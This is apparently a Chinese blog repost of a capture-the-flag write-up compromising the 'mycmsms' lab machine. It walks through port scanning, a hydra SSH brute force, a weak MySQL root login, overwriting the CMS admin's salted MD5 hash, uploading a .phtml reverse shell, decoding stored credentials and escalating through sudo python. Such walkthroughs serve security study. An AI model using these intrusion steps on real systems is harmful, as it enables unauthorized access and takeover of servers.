当前位置:网站首页>mycmsms靶机wp
mycmsms靶机wp
2022-08-08 06:22:00 【yq_00】
正式开始
主机探活
nmap -sn 192.168.159.0/24
发现目标主机:192.168.159.152

端口扫描
namp -sV -A -p- 192.168.159.152

发现端口22、80、3306
渗透思路
1、22端口,ssh连接
2、80端口,web端突破
3、3306端口,mysql数据库突破
22端口

版本较高,不是很容易突破
历史漏洞
查找本地漏洞库文件,看是否存在相关漏洞
searchsploit OpenSSH 7.9

没找到,只能尝试弱口令
弱口令
九头蛇爆破尝试
hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.159.152 ssh
-l 为要进行密码爆破的目标主机用户名 -P为指定字典的绝对路径
-t 为指定爆破线程

报错了,这里应该是直接不能ssh连,咱们直接连试一试

雀食不让连,换地方,看80端口
80端口
大概漏洞扫描
nikto -h 192.168.159.152

看到了一些漏洞,但好像没有什么明显能利用的,接下来扫扫目录看一看
目录扫描
dirsearch -u 192.168.159.152
先看一下能访问的网站:
我都访问了下,基本没有有用信息,只有登陆界面感觉可以继续
http://192.168.159.152:80/admin/login.php
先简单试一下sql注入
sql注入


初步看来是不行的,但注意到它是一个cms,所以去搜搜它的历史洞
cms测试


由于目标用的是2.2.13,没有相关漏洞,铩羽而归。。。
然后我又看着测了测这个网站,随便点了点,也没有找到信息、机会,但是由于还剩一个3306的mysql数据库,所以没在这里太费时间,准备先看看数据库。
3306端口
弱口令
先试试能不能远端连接数据库

可以连!!!
试试弱口令root,直接进去了~~ 还是root身份,嘿嘿嘿

udf提权测试
先看插件目录
show variables like "%plugin%";

再看mysql可写目录
show global variables like '%secure_file_priv%';

secure_file_priv不为空,不为插件目录,计划流产,只能从数据库里面的信息入手了
数据库数据获取
show databases;
use cmsms_db;
show tables;

账号:admin
密码:fb67c6d24e756229aab021cea7605fb3
判断加密方式
hashid
hashid fb67c6d24e756229aab021cea7605fb3

hash-identifier
hash-identifier fb67c6d24e756229aab021cea7605fb3

大概率为md5加密方式,找了个网站尝试解密失败,但可以在数据库中自己该admin密码
修改admin用户密码
生成MD5密码
echo -n 123456 | md5sum #-n 是为了消除换行符

将密码写入数据库
UPDATE cms_users SET password='e10adc3949ba59abbe56e057f20f883e' WHERE username='admin'

访问网站登陆页面,尝试登录,失败

猜测密码存入数据库之前加了盐,去网上寻找cms源码,进行审计
代码审计
不懂php代码,这一part可能写得不是很清楚,重点看思路。。。
上网找到该cms源码
http://viewsvn.cmsmadesimple.org/listing.php?repname=cmsmadesimple&path=%2F&sc=0
解压,进行审计(随便找个软件,能带开代码就行)
admin/login.php
找登录用户的地方
LoadUserByUsername

跟进get_sute_preference()函数
两个参数:sitemask 和 空
get_sute_preference

看 cms_siteprefs 类的 get 方法,去看看这个参数发生了什么
cms_siteprefs:get

找一下这个 prefs 是什么,他能得到什么值
能够看到是从这个类的缓存中取到的,所以翻翻看这个类初始化时的操作

建立时调用了 read 方法,进 read 查看

通过 sql 语句查出了数据库中的两个值,一个值做为键,一个值作为值
总览
我们倒推回去,不难发现,总的步骤是:
1、将 一个 值 与 passwd 拼接起来进行 MD5 运算
2、这个 参数 我们传入了 sitemask
3、使用这个 sitemask 作为键,在数据库中的表 cms_siteprefs 中出查询出一个值,将这个值返回
4、用这个值和 passwd 拼接起来进行 MD5 运算
改密码
生成新密码
查出拼接的值是什么
SELECT sitepref_value FROM cms_siteprefs where sitepref_name='sitemask';

a235561351813137
生成新密码
echo -n a235561351813137123456 | md5sum

26abf34a26d74ef992a647963895b726
写入数据库
UPDATE cms_users SET password='26abf34a26d74ef992a647963895b726' WHERE username='admin';

登陆网站尝试
admin 123456

成功登入!!!

文件上传
找到了一个上传点,尝试突破

phpinfo()尝试
尝试上传 php 文件

失败,猜测可能对文件名做了限制

依次测试,发现测试到 phtml 时可以成功上传

访问,成功解析

反弹shell
上网找到 php 反弹shell脚本,根据提示修改其中的信息
上传该shell,并在本机开启监听
nc -nlvp 7777

访问触发上传的反弹shell脚本,主机获得shell

提权
尝试setuid提权
find / -prem -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
发现可疑文件,去看看
好像没啥用。。。

web目录下寻找突破口

进入 admin 目录下,发现一个隐藏的passwd文件,查看


TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0=
看起来像是base64编码,尝试解码
echo -n 'TUZaRzIzM1ZPSTVGRzJESk1WV0dJUUJSR0laUT09PT0=' | base64 -d

还是像base64,再次尝试解密,发现错误,尝试base32成功

armour:[email protected]
切换 armour 用户
su armour

查看该用户 sudo 权限
sudo -l

可以利用 sudo 权限调用 python,基本结束!!!
利用sudo python 提权
sudo python -c 'import pty;pty.spawn("/bin/bash")'

提权成功,获得root权限!!!
cd /root
ls -la
cat proof.txt

边栏推荐
猜你喜欢
随机推荐
2021 mathematical modeling national competition question B
黑苹果安装
YoloV4训练自己的数据集(二)
基于Mysql的智慧医疗管理系统
convolutional neural network image recognition, convolutional neural network image processing
kdeplot()核密度估计图的介绍
leetcode 232. Implement Queue using Stacks 用栈实现队列(简单)
Sentinel流控规则绑定nacos持久化
LLVM系列第二十九章:写一个简单的常量加法“消除”工具(Pass)
YoloV4训练自己的数据集(四)
逻辑回归 判断学生能否被大学录取
课堂作业--物不知数
C语言三子棋游戏进阶版详解(包括多子棋)
简要概述深度学习和机器学期的区别
YoloV4训练自己的数据集(五)
YoloV4训练自己的数据集(三)
from sklearn import cross_validation 报错的解决方法
利用pycharm自定义关键字颜色
人机对话中得意图识别(关键词提取,svm工具)
三、MATPLOTLIB数据可视化分析工具










![[WUSTCTF2020]CV Maker1](/img/be/989b1ea8597f31f4b82c2edc6345d5.png)

